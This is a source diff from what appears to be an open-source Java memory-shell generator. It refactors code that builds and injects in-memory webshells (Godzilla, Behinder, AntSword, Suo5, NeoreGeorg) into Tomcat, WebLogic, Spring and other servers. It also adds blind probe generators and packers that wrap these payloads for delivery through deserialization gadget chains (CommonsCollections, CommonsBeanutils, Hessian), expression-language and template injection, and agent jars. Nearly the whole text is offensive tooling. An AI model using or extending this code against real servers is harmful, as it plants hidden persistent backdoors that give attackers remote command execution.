import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
@@ -33,18 +37,13 @@ public class Godzilla {
// .headerValue("test") // .headerValue("test")
.build(); .build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName()); System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName()); System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig()); System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig()); System.out.println(result.getShellToolConfig());
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
} }
} }
@@ -1,11 +1,15 @@
package com.reajason.javaweb; package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.packer.jar.JarPacker; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker;
import com.sun.security.ntlm.Server;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
@@ -38,7 +42,7 @@ public class GodzillaAgent {
// .headerValue("test") // .headerValue("test")
.build(); .build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName()); System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName()); System.out.println("内存马类名:" + result.getShellClassName());
@@ -46,7 +50,7 @@ public class GodzillaAgent {
System.out.println(result.getShellConfig()); System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig()); System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
Files.write(Paths.get("agent.jar"), agentJarBytes); Files.write(Paths.get("agent.jar"), agentJarBytes);
} }
} }
@@ -0,0 +1,35 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class ResponseBodyProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Command)
.shrink(true)
.debug(false)
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(Tomcat)
.reqHeaderName("X-Echo")
.build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.SleepConfig;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class SleepProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.Sleep)
.probeContent(ProbeContent.Server) // 暂只支持 Server
.shrink(true)
.debug(false)
.build();
SleepConfig sleepConfig = SleepConfig.builder()
.server(Tomcat)
.seconds(5).build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
-62
View File
@@ -1,62 +0,0 @@
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'io.github.reajason'
description = "MemShell Generator for Java"
version = rootProject.version
// 测试使用 JDK17 进行编译与运行
tasks.withType(Test).configureEach {
javaLauncher = javaToolchains.launcherFor {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.named('compileTestJava') {
javaCompiler = javaToolchains.compilerFor {
languageVersion = JavaLanguageVersion.of(17)
}
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
dependencies {
implementation project(":memshell-party-common")
implementation project(":deserialize")
implementation project(":memshell")
implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.fasterxml.jackson.core:jackson-databind'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
implementation 'io.projectreactor.netty:reactor-netty-core'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
testImplementation 'org.mockito:mockito-junit-jupiter'
}
+48
View File
@@ -0,0 +1,48 @@
plugins {
id("java")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = "io.github.reajason"
description = "MemShell Generator for Java"
version = rootProject.version
tasks.compileTestJava {
javaCompiler.set(javaToolchains.compilerFor {
languageVersion.set(JavaLanguageVersion.of(17))
})
}
tasks.test {
useJUnitPlatform()
}
dependencies {
implementation(project(":memshell-party-common"))
implementation(project(":packer"))
implementation(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.javax.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core)
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.okhttp3)
implementation(libs.logback.classic)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito)
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/7/21
*/
public class GenerationException extends RuntimeException {
public GenerationException(String message) {
super(message);
}
public GenerationException(String message, Throwable cause) {
super(message, cause);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/8/11
*/
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
public static final String TongWeb = "TongWeb";
public static final String BES = "BES";
public static final String InforSuite = "InforSuite";
public static final String Apusic = "Apusic";
public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/5/27
*/
public interface ShellGenerator {
byte[] getBytes();
}
@@ -1,10 +1,12 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.generator.*; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
@@ -16,15 +18,15 @@ import java.util.Map;
*/ */
public class MemShellGenerator { public class MemShellGenerator {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer(); String serverName = shellConfig.getServer();
AbstractShell shell = server.getShell(); AbstractServer server = ServerFactory.getServer(serverName);
if (shell == null) { if (server == null) {
throw new IllegalArgumentException("Unsupported server: " + server); throw new GenerationException("Unsupported server: " + serverName);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
} }
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
@@ -34,18 +36,18 @@ public class MemShellGenerator {
Class<?> injectorClass = null; Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) { if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType()); injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
} else { } else {
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) { if (shellInjectorPair == null) {
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool()); throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
} }
Class<?> shellClass = shellInjectorPair.getLeft(); Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight(); injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
} }
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -55,7 +57,7 @@ public class MemShellGenerator {
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes(); Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder() return MemShellResult.builder()
.shellConfig(shellConfig) .shellConfig(shellConfig)
.shellToolConfig(shellToolConfig) .shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig) .injectorConfig(injectorConfig)
@@ -66,25 +68,4 @@ public class MemShellGenerator {
.injectorInnerClassBytes(innerClassBytes) .injectorInnerClassBytes(innerClassBytes)
.build(); .build();
} }
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getShellTool()) {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
case NeoreGeorg:
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
case Custom:
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
}
} }
@@ -0,0 +1,77 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "Builder")
public class MemShellResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class Builder {
public MemShellResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
public JarPackerConfig toJarPackerConfig() {
JarPackerConfig jarPackerConfig = new JarPackerConfig();
jarPackerConfig.setMainClassName(injectorClassName);
Map<String, byte[]> bytes = new HashMap<>();
bytes.put(shellClassName, shellBytes);
bytes.put(injectorClassName, injectorBytes);
if (injectorInnerClassBytes != null) {
bytes.putAll(injectorInnerClassBytes);
}
jarPackerConfig.setClassBytes(bytes);
return jarPackerConfig;
}
public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassName(injectorClassName);
classPackerConfig.setClassBytes(injectorBytes);
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
if (shellConfig != null) {
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
}
return classPackerConfig;
}
}
@@ -1,146 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.packer.BCELPacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2025/1/23
*/
@Getter
public enum Packers {
/**
* Base64
*/
Base64(new Base64Packer()),
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
Jar(new DefaultJarPacker()),
/**
* BCEL
*/
BCEL(new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
Rhino(new RhinoPacker()),
/**
* EL
*/
EL(new ELPacker()),
OGNL(new OGNLPacker()),
MVEL(new MVELPacker()),
Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()),
JEXL(new JEXLPacker()),
BeanShell(new BeanShellPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
/**
* Java 反序列化打包器
*/
JavaDeserialize(new JavaDeserializePacker()),
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
private Class<?> parentPacker = null;
Packers(Packer instance) {
this.instance = instance;
}
Packers(Packer instance, Class<?> parentPacker) {
this.instance = instance;
this.parentPacker = parentPacker;
}
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
}
@@ -1,153 +1,50 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.server.*; import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*; import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.*; import com.reajason.javaweb.memshell.shelltool.behinder.*;
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener; import java.util.Collections;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet; import java.util.List;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve; import java.util.Map;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import java.util.Set;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener; import java.util.concurrent.ConcurrentHashMap;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import java.util.concurrent.CopyOnWriteArrayList;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; import java.util.function.Supplier;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import lombok.Getter;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/22 * @since 2025/8/11
*/ */
@Getter public class ServerFactory {
public enum Server { private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
/** private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
* Tomcat 中间件 private static final List<String> servers = new CopyOnWriteArrayList<>();
*/
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow对应是 Wildfly 以及 JBoss EAP也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
*/
SpringWebMvc(new SpringWebMvcShell()),
/**
* Spring WebFlux 框架
*/
SpringWebFlux(new SpringWebFluxShell()),
/**
* WebSphere 中间件
*/
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
*/
WebLogic(new WebLogicShell()),
/**
* Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a>
*/
Resin(new ResinShell()),
/**
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
*/
BES(new BesShell()),
/**
* 东方通中间件
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
/**
* 金蝶天燕中间件
*/
Apusic(new ApusicShell()),
/**
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
/**
* 普元中间件
*/
Primeton(new GlassFishShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell());
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
static { static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
register(Server.TongWeb, TongWeb::new);
register(Server.BES, Bes::new);
register(Server.InforSuite, InforSuite::new);
register(Server.Apusic, Apusic::new);
register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -157,23 +54,25 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class) .addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class) .addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class) .addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(PROXY_VALVE, Godzilla.class)
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
